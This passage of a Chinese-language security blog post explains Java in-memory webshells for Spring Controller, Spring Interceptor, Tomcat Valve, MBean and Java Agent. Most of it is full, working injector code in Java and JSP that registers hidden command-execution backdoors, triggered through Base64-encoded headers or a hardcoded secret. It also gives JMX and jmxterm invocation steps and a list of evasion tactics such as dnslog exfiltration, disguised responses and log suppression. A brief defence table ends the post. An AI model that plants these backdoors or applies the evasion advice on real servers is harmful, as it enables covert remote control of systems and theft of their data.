if (cmd == null || cmd.isEmpty()) {
out.println("Usage: curl -H 'X-Cmd: aWQ=' http://target/memshell");
return;
}
String decoded = new String(java.util.Base64.getDecoder().decode(cmd));
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec("cmd.exe /c " + decoded);
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", decoded});
}
java.util.Scanner s = new java.util.Scanner(p.getInputStream()).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
s.close();
out.println(output);
}
};

Method method = evilController.getClass().getDeclaredMethod("handle", HttpServletRequest.class, HttpServletResponse.class);
org.springframework.web.servlet.mvc.method.RequestMappingInfo mapping =
org.springframework.web.servlet.mvc.method.RequestMappingInfo
.paths("/memshell")
.methods(org.springframework.web.bind.annotation.RequestMethod.GET)
.build();

handlerMapping.registerMapping(mapping, evilController, method);

return " Spring Controller 内存马注入成功!\n访问 /memshell,Header: X-Cmd=Base64(命令)";
} catch (Exception e) {
e.printStackTrace();
return " 注入失败: " + e.getMessage();
}
}
}

spring intercetor 内存马

  • 挂载点:Spring MVC Interceptor(通过 RequestMappingHandlerMappingadaptedInterceptors 字段)。
  • 原理:对于 Spring MVC 应用,攻击者通过反射获取 Spring 上下文中的 RequestMappingHandlerMapping 实例,并修改其父类 AbstractHandlerMapping 中的 adaptedInterceptors 列表,动态插入一个恶意的 HandlerInterceptor 实现。该拦截器可在请求处理的 preHandle 阶段执行任意代码(如命令执行、回显 WebShell 等),且对所有经由 Spring MVC 路由的请求生效,无需新增 URL 路径。
  • 企业级危害:高度适配 Spring 应用架构,无需修改磁盘文件或注册新接口,隐蔽性强;恶意逻辑嵌入在正常请求流程中,可绕过基于 URL 白名单或接口审计的安全检测,实现持久化、低感知的远程控制,对传统 WAF 和代码审计工具具有极强的绕过能力。

HandlerInterceptor 接口的3个核心回调方法

  • preHandle( ):在 Controller 方法执行 之前 调用,其返回值表示是否中断后续操作,返回 true 表示继续向下执行,返回 false 表示中断后续操作。
  • postHandle( ):在 Controller 方法执行 之后、视图渲染 之前 调用,可以通过此方法对请求域中的模型和视图做进一步的修改。此时业务逻辑已执行完毕,但响应尚未提交
  • afterCompletion( ):整个请求处理完成 之后(包括视图渲染),无论是否发生异常,即视图渲染结束后执行,可以通过此方法实现一些资源清理、记录日志信息等工作。

内存马

在绝大多数 Interceptor 内存马实现中,会选择 preHandle() 作为挂载点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package com.example.demo;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

public class InterceptorMemShell {

public static void inject() throws Exception {
// 1. 获取当前请求上下文,进而拿到 Spring ApplicationContext
ServletRequestAttributes attrs = (ServletRequestAttributes) RequestContextHolder.currentRequestAttributes();
HttpServletRequest request = attrs.getRequest();
WebApplicationContext context = (WebApplicationContext) request.getServletContext()
.getAttribute("org.springframework.web.servlet.FrameworkServlet.CONTEXT.dispatcherServlet");

// 2. 获取 RequestMappingHandlerMapping Bean(Spring Boot 默认 dispatcherServlet 名为 "dispatcherServlet")
RequestMappingHandlerMapping handlerMapping = context.getBean(RequestMappingHandlerMapping.class);

// 3. 构造恶意 Interceptor
HandlerInterceptor evilInterceptor = new HandlerInterceptor() {
@Override
public boolean preHandle(HttpServletRequest req, HttpServletResponse resp, Object handler) throws Exception {
// 后门触发条件:请求中包含 password 参数(可自定义)
if ("letmein".equals(req.getHeader("X-Cmd-Secret"))) {
String cmd = req.getParameter("cmd");
if (cmd != null && !cmd.trim().isEmpty()) {
try {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(
new java.io.InputStreamReader(p.getInputStream())
);
StringBuilder output = new StringBuilder();
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
resp.getWriter().println(output.toString());
resp.getWriter().flush();
return false; // 阻断后续处理,避免日志或异常
} catch (Exception e) {
resp.getWriter().println("Error: " + e.toString());
return false;
}
}
}
return true; // 正常流程
}
};

// 4. 反射注入到 adaptedInterceptors
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class
.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
@SuppressWarnings("unchecked")
List<HandlerInterceptor> interceptors = (List<HandlerInterceptor>) field.get(handlerMapping);

// 避免重复注入(可选)
for (HandlerInterceptor inter : interceptors) {
if (inter.getClass().getName().contains("InterceptorMemShell")) {
return; // 已存在,不再注入
}
}

interceptors.add(evilInterceptor);
}
}

通过controller触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example.demo;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RestController;


@RestController
public class VulnController {
@GetMapping("/inject")
public String inject() throws Exception {
InterceptorMemShell.inject(); // 执行注入
return "OK";
}
}

  • 若应用中存在 @Value("#{userInput}") 或 Thymeleaf 表达式注入;
  • InterceptorMemShell 类已存在(或通过其他方式加载),则直接:
1
T(com.example.demo.InterceptorMemShell).inject()

Tomcat Valve 内存马

  • 挂载点:Tomcat PipelineValve
  • 原理:Valve是 Tomcat 请求处理管道中的核心组件,每个请求在到达目标 Servlet 之前都会经过一系列的Valve。攻击者通过反射将自定义的恶意Valve动态加入到 Tomcat 的Pipeline中,从而在所有请求处理的前后插入恶意逻辑。
  • 企业级危害:影响范围广且隐蔽性强,能够全局拦截和处理 Tomcat 接收到的所有请求,比 Filter 更底层。可以实现通用性的数据窃取、流量劫持或命令执行。

什么是 Tomcat Valve

Tomcat 使用 Pipeline-Valve 模式 处理请求

1
2
3
Connector → Engine → Host → Context → Wrapper (Servlet)
↑ ↑ ↑
EngineValve → HostValve → ContextValve → ...

每个容器(Engine/Host/Context)都有一个 Pipeline,里面是一系列 Valve(阀门),请求依次流经这些 Valve

Valve早于 Spring、Filter、Servlet 执行,因此能绕过大多数基于应用层的 RASP、WAF 和日志审计。

  • 可在 任意请求到达 Servlet 之前 插入逻辑
  • 执行顺序:早于 Filter、早于 Spring DispatcherServlet
  • 即使应用无任何接口,也能触发(只要 Tomcat 在运行)
  • 可拦截所有请求(包括 404)

内存马

  1. 动态创建一个继承 ValveBase 的恶意 Valve
  2. 获取 Tomcat 的 StandardContext
  3. 调用 context.getPipeline().addValve(evilValve)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="javax.servlet.ServletException" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
try {
// Step 1: 获取 ServletContext(实际是 ApplicationContextFacade)
javax.servlet.ServletContext servletContext = request.getServletContext();

// Step 2: 反射获取 ApplicationContextFacade 中的 "context" 字段(类型是 ApplicationContext)
Field facadeContextField = servletContext.getClass().getDeclaredField("context");
facadeContextField.setAccessible(true);
Object applicationContext = facadeContextField.get(servletContext);

// Step 3: 从 ApplicationContext 中获取 StandardContext
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
Object standardContextObj = standardContextField.get(applicationContext);

if (!(standardContextObj instanceof StandardContext)) {
out.println("[-] Failed to get StandardContext, got: " + standardContextObj.getClass().getName());
return;
}

StandardContext standardContext = (StandardContext) standardContextObj;
out.println("[+] Successfully got StandardContext: " + standardContext.getName());

// Step 4: 定义恶意 Valve
ValveBase evilValve = new ValveBase() {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
if ("/tomcat-memshell".equals(request.getRequestURI())) {
String cmdHeader = request.getHeader("X-Cmd");
if (cmdHeader != null && !cmdHeader.isEmpty()) {
try {
String cmd = new String(Base64.getDecoder().decode(cmdHeader));
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec("cmd.exe /c " + cmd);
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}

// Java 8 兼容读取输出
InputStream in = p.getInputStream();
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
byte[] data = new byte[4096];
int nRead;
while ((nRead = in.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}
byte[] result = buffer.toByteArray();

response.setStatus(200);
response.getWriter().write(new String(result));
response.flushBuffer();
return; // 不继续调用下一个 Valve
} catch (Exception e) {
e.printStackTrace();
}
}
}
// 正常请求:继续处理
getNext().invoke(request, response);
}
};

// Step 5: 注入 Valve
standardContext.getPipeline().addValve(evilValve);
out.println("[+] Tomcat Valve 内存马注入成功!");
out.println("访问路径: /tomcat-memshell");
out.println("Header: X-Cmd=Base64(命令)");

} catch (Exception e) {
e.printStackTrace();
out.println("[-] Error: " + e.getMessage());
}
%>

MBean 内存马

  • 挂载点:JMX MBean。
  • 原理:Java Management Extensions (JMX) 允许对 Java 应用程序进行管理和监控。攻击者可以注册恶意的MBean,并通过 JMX 远程调用这些MBean中定义的方法,从而实现远程代码执行 (RCE) 或其他恶意操作。
  • 企业级危害:如果 JMX 端口暴露或存在弱认证,攻击者可以直接通过 JMX 远程管理协议触发内存马,实现高度隐蔽的 RCE,尤其是在管理工具或监控系统中可能被忽视。

JMX与MBean

  1. 什么是 JMX?
  • JMX(Java Management Extensions) 是 Java 平台标准的监控与管理框架。
  • 允许开发者暴露应用内部状态(如内存、线程、连接池)供外部管理工具(如 JConsole、VisualVM)查看和操作。
  • 所有 Java 应用(包括 Tomcat、Spring Boot)默认启动一个 Platform MBeanServer。
  1. 什么是 MBean?
  • MBean(Managed Bean) 是 JMX 中被管理的对象。
  • 通常是一个 Java POJO 类,遵循特定命名规范(如 MyServiceMBean 接口 + MyService 实现类),或实现 DynamicMBean 接口。
  • MBean 可以暴露:
    • 属性(Attributes):如 getThreadCount()
    • 操作(Operations):如 gc()reloadConfig()
  1. MBeanServer 是什么?
  • MBeanServer 是 MBean 的注册中心和调度器。
  • 所有 MBean 必须注册到 MBeanServer 才能被管理。
  • 获取方式:
1
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();

内存马

适用于 Tomcat、Spring Boot 等支持 JMX 的 Java 应用。它通过注册一个恶意的 MBean(Managed Bean) 到 MBeanServer,利用 JMX 的远程管理能力实现命令执行。

  1. JMX(Java Management Extensions) 是 Java 内置的监控和管理框架。
  2. 所有 Java 应用默认启动一个 Platform MBeanServer。
  3. 攻击者可动态注册一个 恶意 MBean(实现 DynamicMBean 或普通 POJO + MBean 接口)。
  4. 通过 JConsole / jmxterm / HTTP JMX Proxy 调用其方法,实现命令执行。
  5. 优势:
    • 无需修改 Web 层(Filter/Servlet/Valve)
    • 不依赖 Tomcat 内部类(兼容 Spring Boot JAR / WAR)
    • 默认开启(除非显式关闭 JMX)

shell.jsp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<%@ page import="javax.management.*" %>
<%@ page import="java.lang.management.ManagementFactory" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.util.Arrays" %>

<%
try {
// 1. 获取平台 MBeanServer(所有 Java 应用都有)
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();

// 2. 定义 ObjectName(唯一标识)
String domain = mbs.getDefaultDomain();
ObjectName name = new ObjectName(domain + ":type=Service,name=MetricsCollector");
System.out.println(name);

// 3. 检查是否已注册(避免重复)
if (mbs.isRegistered(name)) {
out.println("[+] MBean 已存在,跳过注入");
} else {
// 4. 创建恶意 MBean 实例(使用 DynamicMBean 避免接口)
DynamicMBean evilMBean = new DynamicMBean() {
@Override
public Object getAttribute(String attribute) throws AttributeNotFoundException, MBeanException, ReflectionException {
return null;
}

@Override
public void setAttribute(Attribute attribute) {}

@Override
public AttributeList getAttributes(String[] attributes) {
return new AttributeList();
}

@Override
public AttributeList setAttributes(AttributeList attributes) {
return attributes;
}

@Override
public Object invoke(String actionName, Object[] params, String[] signature) throws MBeanException, ReflectionException {
if ("exec".equals(actionName) && params != null && params.length == 1) {
try {
String cmd = new String(Base64.getDecoder().decode(((String) params[0]).trim()));
Process p;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
p = Runtime.getRuntime().exec("cmd.exe /c " + cmd);
} else {
p = Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", cmd});
}

// Java 8 兼容读取
InputStream in = p.getInputStream();
ByteArrayOutputStream buffer = new ByteArrayOutputStream();
byte[] data = new byte[4096];
int nRead;
while ((nRead = in.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}
byte[] result = buffer.toByteArray();

// 读取 stderr(可选)
InputStream err = p.getErrorStream();
if (err.available() > 0) {
buffer.reset();
while ((nRead = err.read(data, 0, data.length)) != -1) {
buffer.write(data, 0, nRead);
}
result = buffer.toByteArray();
}

return Base64.getEncoder().encodeToString(result);
} catch (Exception e) {
return "error";
}
}
return null;
}

@Override
public MBeanInfo getMBeanInfo() {
MBeanOperationInfo[] ops = {
new MBeanOperationInfo("exec", "Execute command",
new MBeanParameterInfo[]{new MBeanParameterInfo("cmd", "java.lang.String", "Base64 command")},
"java.lang.String", MBeanOperationInfo.ACTION)
};
return new MBeanInfo(this.getClass().getName(), "Metrics Collector",
new MBeanAttributeInfo[0], new MBeanConstructorInfo[0], ops, new MBeanNotificationInfo[0]);
}
};

// 5. 注册 MBean
mbs.registerMBean(evilMBean, name);
out.println("[+] MBean 内存马注入成功!");
}


} catch (Exception e) {
// 静默失败
out.println("[-] 注入失败");
}
%>

3种方式调用jmx

  1. http
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<%@ page import="javax.management.*" %>
<%@ page import="java.lang.management.ManagementFactory" %>
<%@ page import="java.util.Base64" %>
<%
try {
String cmd = request.getParameter("cmd");
if (cmd == null || cmd.isEmpty()) {
out.println("Usage: ?cmd=id");
return;
}

// Base64 编码命令
String b64cmd = Base64.getEncoder().encodeToString(cmd.getBytes("UTF-8"));

// 调用 MBean
MBeanServer mbs = ManagementFactory.getPlatformMBeanServer();
ObjectName name = new ObjectName("DefaultDomain:type=Service,name=MetricsCollector");
Object result = mbs.invoke(name, "exec", new Object[]{b64cmd}, new String[]{"java.lang.String"});

// 解码并输出结果
String output = new String(Base64.getDecoder().decode((String) result), "UTF-8");
out.println("<pre>" + output + "</pre>");
} catch (Exception e) {
out.println("Error");
}
%>

  1. 本地JConsole
1
2
3
4
jps -l
# 输出示例:
# 12345 org.apache.catalina.startup.Bootstrap
jconsole 12345
  • 切换到 MBeans 标签页
  • 左侧树形菜单展开:Catalina(此处是DefaultDomain)Service
  • 点击 MetricsCollector
  • 切换到 Operations 子标签
  • 找到 exec 方法,在输入框中填入命令的 Base64(如 d2hvYW1p
  • 点击 exec 按钮

  1. 远程JMX连接(需要开启远程JMX)

适用场景:目标 Java 应用 显式开启了远程 JMX(生产环境较少见)。

1
2
3
4
-Dcom.sun.management.jmxremote
-Dcom.sun.management.jmxremote.port=9999
-Dcom.sun.management.jmxremote.authenticate=false
-Dcom.sun.management.jmxremote.ssl=false

jconsole target_ip:9999

和本地操作一致

或使用命令行工具 jmxterm

1
2
3
4
5
6
7
# 下载 jmxterm.jar(https://github.com/jiaqi/jmxterm)
java -jar jmxterm.jar -l target_ip:9999 -u user -p password

# 在 jmxterm 中操作
> bean Catalina:type=Service,name=MetricsCollector
> run exec aWQ=
# 返回 Base64 结果,本地解码

销毁Mbean内存马

  • 注册后,该 MBean 成为 JVM 管理体系的一部分。
  • 生命周期与 JVM 一致。

即重新部署web应用或者重启tomcat都会销毁Mbean内存马

Agent 内存马

  • 挂载点:JVM Instrumentation API /sun.misc.UnsafeAPI。
  • 原理:这是最复杂也最强大的内存马类型。攻击者利用 Java Agent 或sun.misc.Unsafe等底层 API,动态修改或替换已加载类的字节码。例如,Hook 关键的安全检查方法、数据库操作方法或命令执行方法,直接在程序核心逻辑中植入后门。
  • 企业级危害:极难检测,隐蔽性最高。它直接篡改 JVM 内部运行的类,可以绕过大多数应用层面的检测,实现深度持久化,甚至可以劫持类加载过程,阻碍后续的修复和检测。

总结

利用

各内存马执行顺序

[容器层]

  1. Tomcat Valve 内存马
  • 执行时机:最早,在请求进入 Web 应用前就已执行
  • 可拦截所有请求(包括未映射路径、静态资源)
  • 绕过 Web 应用层所有安全机制

[Web 应用层]

  1. ServletContextListener内存马,web应用启动时(不参与http)
  2. HttpSessionListener内存马(可前可后,取决于何时调用 getSession()
1
2
// 在 Filter 中调用 getSession() → 触发 sessionCreated() 则执行在filter中
// 在 Controller 中调用 getSession() → 同样触发,但已在 Filter 之后
  1. ServletRequestListener内存马

ServletRequestListener.requestInitialized()在filter之前

  1. Filter 内存马

[Servlet 层]

  1. Servlet内存马

[Spring MVC 层]

  1. Spring Interceptor 内存马(preHandle)
  2. Spring Controller 内存马(@RequestMapping 方法)

[响应返回]

请求的逆序

使用场景分类
场景 推荐内存马类型 理由
快速上线、通用兼容 Filter 无需框架、全局拦截、代码简单、清除需重部署
长期潜伏、对抗清除 Listener + Filter Listener 可监听 Context 重启并重新注入 Filter
高权限、深度隐藏 Tomcat Valve 在 Filter 之前执行,日志/监控常忽略
绕过 RASP/Spring Java Agent 不经过 Web 层,直接 Hook,RASP 无法拦截
远程管理、后渗透 MBean 可通过 JConsole / JMX 远程执行,适合内网横向
Spring 环境快速利用 Spring Controller 无需反射,直接注入 HandlerMapping,但易被刷新
提高隐蔽性总体方向
  • 路径/参数/文件名无敏感词
  • 自定义 Header/json传参
  • 请求参数和返回值编码
  • dnslog等外带
  • 响应伪装成正常业务(状态码、Content-Type、Body、json,静态资源、业务路径)
  • 不打印日志、不抛异常
  • 敏感字符串运行时拼接

终极原则让流量看起来像正常用户,让内存看起来像正常框架,让文件系统无痕迹。

防御

内存马需要能执行Java代码,通过防御webshell如上传jsp、反序列化漏洞等就能使内存马无法注入。

内存马类型 防御手段
Filter / Servlet / Listener 监控 ServletContext.addXxx() 调用;启用 SecurityManager;部署后禁止动态注册
Spring Controller 禁用 Actuator /refresh;监控 RequestMappingHandlerMapping 修改
Java Agent 禁止 -javaagent 参数;限制 attach 权限;使用 JVMTI 监控
Tomcat Valve 审计 server.xml;监控 StandardEngine/Host/Pipeline 反射调用
MBean 关闭不必要的 JMX 端口;启用 JMX 认证;监控 MBeanServer.registerMBean

Java内存马原理及利用
http://example.com/2025/10/02/Java内存马原理及利用/
作者
J_0k3r
发布于
2025年10月2日
许可协议
BY J_0K3R